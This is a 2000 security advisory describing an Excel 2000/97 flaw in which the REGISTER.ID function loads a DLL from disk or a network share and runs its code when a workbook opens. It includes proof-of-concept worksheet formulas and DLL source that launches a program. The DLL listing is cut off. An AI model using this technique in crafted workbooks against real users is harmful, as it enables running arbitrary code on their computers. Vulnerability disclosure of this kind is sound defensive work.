Excel 2000/97 vulnerability - executing programs

Georgi Guninski security advisory #15, 2000

Systems affected: Excel 2000/97 Win98/NT - almost sure other versions/OSes, have not tested
Risk: High

Disclaimer:
The opinions expressed in this advisory and program are my own and not of any company.
The usual standard disclaimer applies, especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this program.Georgi Guninski, bears NO responsibility for content or misuse of this program or any derivatives thereof.

Description:
Excel 2000/97 Windows 98/NT 4.0 (suppose other versions are also vulnerable, have not tested) allow executing programs when opening an Excel Workbook (.xls file). This may be also be exploited thru IE or Outlook.
This may lead to taking full control over user's computer.

Details:

The problem is the REGISTER.ID Excel function. It allows executing native code from a DLL - at least the DllMain() function.
Note: this has nothing to do with VBA code - the code being executed is native code from a DLL.
In order the exploit to work the user must be able to access a specially designed DLL, residing either on the local disk or on a UNC share.

The code is:

-------dll3.xls--------------------------------------------
=REGISTER.ID("C:\DLL1.DLL";"dllmain";"a")
=REGISTER.ID("\\UNC\SHARE\DLL1.DLL";"dllmain";"a")
-----------------------------------------------------------

-------dll1.cpp--------------------------------------------
BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD ul_reason_for_call,
                       LPVOID lpReserved
      )
{
   switch( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH:
         // Initialize once for each new process.
         // Return FALSE to fail DLL load.
         // Note: For NT/2000 you may need to move the following code outside the switch()
   MessageBox(NULL, "Hello world!", "Info", MB_OK);
   MessageBox(NULL, "Shall try to start: C:\\TEST.EXE\n You may need to create it.", "Info", MB_OK);
   system("C:\\TEST.EXE");
            break;
......
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